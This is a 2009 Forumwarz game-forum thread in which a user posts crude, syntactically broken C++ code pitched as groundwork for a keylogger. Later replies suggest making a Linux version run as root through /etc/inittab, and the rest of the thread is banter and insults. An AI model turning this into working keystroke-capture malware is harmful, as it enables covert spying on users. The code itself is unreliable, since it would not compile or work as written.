Buy Official Merchandise!
Forumwarz is the first "Massively Single-Player" online RPG completely built around Internet culture.

You are currently looking at Flamebate, our community forums. Players can discuss the game here, strategize, and role play as their characters.

You need to be logged in to post and to see the uncensored versions of these forums.

Log in or Learn about Forumwarz

Role Playing
Switch to Civil Discussion Role-Playing
Interface Basic C++ Keylogger!

STGill

Avatar: Code (Blue)

[Dev-Null]

Level 14 Hacker

DELETED ACCOUNT

Below is an easy to use C++ function which can easily be converted into a keylogger!

#include <iostream>
#include <string>
#include <fstream>
#include <conio.h>
#include "windows.h"
using namespace std;


int main(){
One:
string keystrokes;
        cout << "KeyStrokes: " << keystrokes << "\n";
getch(); // just using getch to make C++ wait for key strokes.

if (GetAsyncKeyState(VK_SPACE) != 0)
{
 keystrokes+="SPACE"
 goto One;
}
 
// Below is for letters where is says Hex Code put the hex equivilant 
// like 0x45

if (GetAsyncKeyState(0x45) != 0)
{
 keystrokes+="A"
 goto One;
}

/* But there you go my hacker friends basic ground work for a primitive keylogger. You could do like I did with mine and set up the keys in an array which will make the code much smaller. Play with it, have fun! */

STGill edited this message on 08/05/2009 2:14AM

LostKhaos

Avatar: Code (Blue)
3

[Cute Ice Psychotic]

Level 17 Hacker

“Packet Sniffer ”

Very nice, but I’d like to see someone code a Linux keylogger =P.

Xylon

Avatar: 76994 2010-01-16 02:54:34 -0500
6

[Kappa Kappa Kappa]

Level 35 Hacker

Posting personal information is fun. Everyone should try it at least once.

LostKhaos Posted:

Very nice, but I’d like to see someone code a Linux keylogger =P.

Way to show how illiterate you are. It would only take a minor tweak or two to make that code viable for *nix.


Log in to see images!

ATTENTION NEWBS: SEARCH BEFORE YOU POST

Log in to see images!

Click Here To Give Me Fake Internet Cred

STGill

Avatar: Code (Blue)

[Dev-Null]

Level 14 Hacker

DELETED ACCOUNT

LostKhaos Posted:

Very nice, but I’d like to see someone code a Linux keylogger =P.

Well, you wouldn’t use windows.h to be sure but the hex code for key strokes should be universal.

The same principle can be applied in linux using different libraries (can’t remember them offhand) as the root user add it to /etc/inittab or /etc/init.d

The preceding code was written in “Dev C++” for Win32, and is actually the base code for a Text Adventure Engine I am working on. (The TAE has much more code.)

Another way to do it in linux is to use evbug

[4298922.635000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 1, Code: 103, Value: 0
[4298922.635000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 0, Code: 0, Value: 0
[4298923.302000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 4, Code: 4, Value: 200
[4298923.302000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 1, Code: 103, Value: 1
[4298923.302000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 0, Code: 0, Value: 0
[4298923.380000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 4, Code: 4, Value: 200
[4298923.380000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 1, Code: 103, Value: 0
[4298923.380000] evbug.c: Event. Dev: isa0060/serio0/input0, Type: 0, Code: 0, Value: 0

STGill edited this message on 08/05/2009 3:50PM

shut teh **** up yuo fat ugly nerdvomits no1 care about ur list of madeup words


Log in to see images!

ChilePepino

Avatar: 101005 2010-01-24 16:17:40 -0500
5

[Full of SbumSS]

Level 35 Permanoob

Well, spf357 really rocks.

ChilePepino Posted:

You hit the kobold, the kobold misses
################
#··············#
#....@.../k../.#
#..>...........#
################

STGill

Avatar: Code (Blue)

[Dev-Null]

Level 14 Hacker

DELETED ACCOUNT

ChilePepino Posted:

You hit the kobold, the kobold misses

################

#··············#

#....@.../k../.#

#..>...........#

################

LOL, awesome. Nethack FTW

STGill

Avatar: Code (Blue)

[Dev-Null]

Level 14 Hacker

DELETED ACCOUNT

1337xxxxxxxxxlolololololololololxxxxxxxxx1337 Posted:

shut teh **** up yuo fat ugly nerdvomits no1 care about ur list of madeup words

LOL. What part is made up?

Adapt

Avatar: 58104 2015-06-13 23:16:37 -0400
16

[Grey Goose Mafiosi]

Level 48 Camwhore

Celerysteve is better than me in everyway imaginable

there were all made up by SOMEONE DUH

Log in to see images!


Log in to see images!

                                    This is the part where Single Tingle turns into Double Trouble and ends up in


If you don’t fall for the joke, you get to be in on it.

STGill Posted:

LOL. What part is made up?

GAUUGGHGHGH BUH BUH BUH I TALK LIEK BABBY SO NO ADULTS COULD HERE ME & MAKE UP SECRETE CODES W/ MY FRIEND TOMY PICKELS


Log in to see images!

Physics

Avatar: 83756 2009-10-01 09:57:31 -0400
19

[Phantasmagoric Spl-
endor
]

Level 69 Hacker

Making laws and snuggling dark matter.

hadfhfsgS


Log in to see images!

Lord Boxtop

Avatar: Ron Paul
2

Level 33 Troll

“Permafail”

You’re all retards. I stab this thread repeatedly with a rusty spatula.


I'M A SIG-DISABLING COCKMONGLER
Internet Delay Chat
Have fun playing!
To chat with other players, you must Join Forumwarz or Log In now!